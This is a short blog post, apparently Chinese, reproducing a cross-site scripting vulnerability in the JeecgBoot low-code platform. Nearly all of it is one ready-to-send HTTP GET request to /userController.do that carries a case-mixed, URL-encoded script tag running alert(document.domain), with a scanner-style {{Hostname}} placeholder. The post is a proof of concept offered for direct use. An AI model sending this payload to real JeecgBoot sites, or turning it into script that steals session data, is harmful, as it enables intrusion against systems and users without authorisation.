Babing
Published on 2024-08-30 / 0 Visits
0
0

J10-7JeecgBoot-企业级低代码平台-XSS

J10-7JeecgBoot-企业级低代码平台-XSS

漏洞复现:

payload:

GET /userController.do?%3CsCrIpT%3Ealert(document.domain)%3C/sCrIpT%3E HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel MacOS X 10.15; rv:126.0) Gecko/20100101Firefox/126.0

Comment